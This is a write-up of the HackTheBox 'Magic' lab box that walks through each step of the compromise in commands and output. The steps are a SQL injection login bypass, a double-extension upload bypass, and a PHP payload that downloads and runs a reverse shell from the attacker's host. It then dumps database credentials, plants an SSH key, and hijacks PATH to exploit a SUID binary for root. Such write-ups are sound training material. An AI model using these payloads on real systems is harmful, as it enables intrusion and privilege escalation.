HackTheBox - Magic

— Written by — 8 min read
magic-hackthebox

Magic just retired on HackTheBox. It is a Medium difficulty Linux box that required a lot enumeration in order to not miss any crucial information. While rated Medium I would advise this box for beginner trying to make the jump from Easy boxes since there is not a lot of rabbit hole and both user and root flag are quite logical and straightforward to get.

Tl;Dr: The user flag is accessible after multiple steps. First you have to bypass a restricted file upload form to upload and run a Web-Shell as www-data user. With this access you can find MySQL credentials in a configuration file. Dumping the database allows you get theseus password and access his user account where the fag is.
The root flag was accessible by abusing a custom binary that could be run as root with sudo without password by editing the $PATH variable to make the binary run your custom commands.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[[email protected] ~]$ echo "10.10.10.185 magic.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
[[email protected] ~]$ nmap -sV -sT -sC magic.htb
Nmap scan report for magic.htb (10.10.10.185)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have a classical web app running on port 80 and the SSH port 22 open.

Opening http://magic.htb display a following page:

magic homepage

At first look, it seems like a classical image gallery website. It doesn’t seem we can access anything without login in.

Out of curiosity I tried a few common SQL injection on the login form and surprisingly the infamous ' or 1-- worked. Once again this is a good reminder to never skip the basics…

Logging in with ' or 1-- as username and password brings us to the following upload form:

magic upload form

As usual with Upload form the best way to go is to upload a Web-Shell to gain Remote Code execution on the back-end. We knows the server run PHP so let’s try to upload a simple php file containing <?php phpinfo();.

With no surprises the server returns the following message:

Sorry, only JPG, JPEG & PNG files are allowed.

From here we can try few of the most common file upload restriction bypass:

  • Changing extension (test.PHp, test.php5)
  • Content-type bypass
  • Double extension (test.php.jpg, test.jpg.php)
  • Null Character (test.php%00.jpg)
  • Using GIF89a; header

Abusing Double Extension

The only method that worked is the double extension attack. As a reminder here is the issue with double extension on some Apache configuration:

Files can have more than one extension; the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information.

Apache Documentation - Files with Multiple Extensions

Therefore if you have a file in the following format : hg8.php.123 it may be interpreted as a PHP file by Apache Server (depending on the configuration).

In our case if the server is validating the file extension and the mime-type it should be possible to upload a image file appended with php code and with the following extension .php.jpg . This files will pass all the upload form checks but will be able interpreted as PHP by Apache.

To clarify the idea, let’s see in practice.

  1. Let’s download a very small (but valid) JPEG image. I will use one from this repository:
1
2
[[email protected] ~]$ wget https://raw.githubusercontent.com/mathiasbynens/small/master/jpeg.jpg
[[email protected] ~]$ cp jpeg.jpg hg8.php.jpg
  1. Append PHP code to the image with a simple echo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[[email protected] ~]$ echo "<?php phpinfo();" >> hg8.php.jpg
[[email protected] ~]$ cat hg8.php.jpg
C










? <?php phpinfo();
  1. Upload the file to the server.

Once uploaded we get the following success message:

The file hg8.php.jpg has been uploaded.

Following the pattern of other images displayed on the homepage, we can guess that our file path is available at http://magic.htb/images/uploads/hg8.php.jpg. Let’s open it:

magic double extension upload

Bingo, we got php to execute on the server.

Upload and launch of Reverse Shell

Let’s do the same to upload a reverse shell on the server using php. Here is one way to do so:

1
2
<?php exec("wget 10.10.14.7:8000/hg8.py -O /tmp/hg8.py"); 
exec("python3 /tmp/hg8.py");

Let’s open our listener:

1
2
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585

Then after upload and opening our php/image file a new connection appear:

1
2
3
4
5
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.185:46348
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have a shell as www-data, that’s a good start. First let’s upgrade our shell to get a fully interactive one and ease our work:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/$
<Ctrl+Z>

[[email protected] ~]$ stty size
54 100
[[email protected] ~]$ stty raw -echo
[[email protected] ~]$ fg

[email protected]:/$ reset
[email protected]:/$ export SHELL=bash
[email protected]:/$ export TERM=xterm-256color
[email protected]:/$ stty rows 54 columns 100

Alright! We can now do a bit of recon for interesting files. Like in most of web app we can often find credentials in a config.php or database.php file. This one followed the rule:

1
2
3
4
5
6
7
8
9
[email protected]:/$ cat /var/www/Magic/db.php5
<?php
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
[...]

Pivot www-data -> theseus

Good, we got the MySQL database credentials. Let’s connect to the database to see if we can find valuable informations and maybe other user accounts details:

1
2
3
[email protected]:/$ mysql -u theseus -p
Command 'mysql' not found.
[email protected]:/$

Well that sucks. Maybe another binary can help us access the database ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected]:/$ find /usr/bin -name "*sql*"
find /usr/bin -name "*sql*"
/usr/bin/mysqloptimize
/usr/bin/mysqldump
/usr/bin/mysqladmin
/usr/bin/mysqlshow
/usr/bin/mysqld_safe
/usr/bin/mysqlbinlog
/usr/bin/mysqldumpslow
/usr/bin/mysqlcheck
/usr/bin/mysql_ssl_rsa_setup
/usr/bin/mysqlimport
/usr/bin/mysql_tzinfo_to_sql
/usr/bin/mysql_upgrade
/usr/bin/mysqlslap
/usr/bin/mysql_secure_installation
/usr/bin/mysqlrepair
/usr/bin/mysqlanalyze
/usr/bin/mysql_config_editor
/usr/bin/mysqld_multi
/usr/bin/mysql_plugin
/usr/bin/mysql_embedded
/usr/bin/mysql_install_db
/usr/bin/mysqlpump
/usr/bin/mysqlreport

That should be more than enough. Let’s use mysqldump to dump the whole database so we can take a look at it offline:

1
2
3
4
5
6
7
[email protected]:/$ mkdir /tmp/.hg8/
[email protected]:/$ mysqldump -u theseus -p Magic > /tmp/.hg8/base.sql
Enter password:
[email protected]:/$ cat /tmp/.hg8/base.sql
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
[...]
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');

Can this be the credentials of theseus user ? Since it’s the only user on the box ? Let’s give it a try:

1
2
3
4
5
6
7
8
9
[email protected]:/$ su - theseus
Password:

[email protected]:~$ ls
ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt
[email protected]:~$ cat user.txt
0xxxxxxxxxxxxxxxxxxxxxxxxxa

To ease our future progress with a more confortable shell let’s add our SSH key to theseus user authorized_keys file:

1
2
[email protected]:~$ echo "ssh-rsa Axxxxxxxx [email protected]" >> ~/.ssh/authorized_keys
[email protected]:~$ exit
1
2
3
[[email protected] ~]$ ssh -i id_rsa_htb [email protected]
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)
[email protected]:~$

Root Flag

Recon

While doing our classical recon for privilege escalation, a uncommon SUID binary pop out of our search:

1
2
3
[email protected]:~$ find /bin -perm -4000
/bin/sysinfo
[...]

As it’s name indicate, running the binary displays system information:

1
2
3
4
5
[email protected]:~$ /bin/sysinfo
====================Hardware Info====================
H/W path Device Class Description
=====================================================
[...]

Since this binary looks like homemade and running as root let’s dig a bit since it’s probably our way to privilege escalation.

When running an unknown binary it’s always interesting to open it with ltrace to understand better what’s going on behind the hood. While doing so we can notice something valuable:

1
2
3
4
5
[email protected]:~$ ltrace  /bin/sysinfo 2>&1 | grep popen
popen("lshw -short", "r") = 0x5617225b8e80
popen("fdisk -l", "r") = 0x5617225b8e80
popen("cat /proc/cpuinfo", "r") = 0x5617225b8e80
popen("free -h", "r") = 0x5617225b8e80

The binary is actually running various other binaries to get the needed informations. But something dangerous is happening here. The binary path is only relative instead of being absolute like : /usr/bin/lshw.

In Linux, when you type a command, like for example cat the system will look at the current user defined $PATH variable to know in which directory to search for the cat binary. By default, the $PATH variable contains the following locations:

  • /usr/bin
  • /usr/sbin
  • /usr/local/bin
  • /usr/local/sbin
  • /bin
  • /sbin

If the system find the binary cat in the first folder it stop the search and run the binary.

Since we have control over the current user $PATH variable, it’s should be possible to edit the list to something like so:

  • /tmp/.hg8/
  • /usr/bin
  • /usr/sbin
  • /usr/local/bin
  • /usr/local/sbin
  • /bin
  • /sbin

That mean if we put a rogue cat binary in /tmp/.hg8/ , it’s this rogue binary that will get executed first whenever we type cat. See the issue now?

Let’s use this knowledge to exploit the sysinfo SUID binary.

First, let’s add our “rogue” directory to the current $PATH:

1
2
3
[email protected]:~$ PATH=/tmp/.hg8/:$PATH
[email protected]:~$ echo $PATH
/tmp/.hg8/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Now, since we know that /bin/sysinfo is running fdisk, let’s create a fake fdisk file with our malicious content inside. For example we can append our SSH key to the root user authorized_keys file.

1
2
3
4
5
[email protected]:~$ cat /tmp/.hg8/fdisk
#!/bin/sh
mkdir -p /root/.ssh/
echo "ssh-rsa AAxxxxxxxx [email protected]" >> /root/.ssh/authorized_keys
echo "Done -hg8"

Now sysinfo should pick our fake fdisk and since sysinfo have SUID set our fdisk should be run as root. Let’s verify this:

1
2
3
4
[email protected]:~$ /bin/sysinfo
[...]
Done -hg8
[...]

Looks like everything went fine, we should now be able to login as root:

1
2
3
4
5
[[email protected] ~]$ ssh -i id_rsa_htb [email protected]
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)

[email protected]:~# cat root.txt
fxxxxxxxxxxxxxxxxxxxxxxxxxe

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxMedium Box
, , , , , , , ,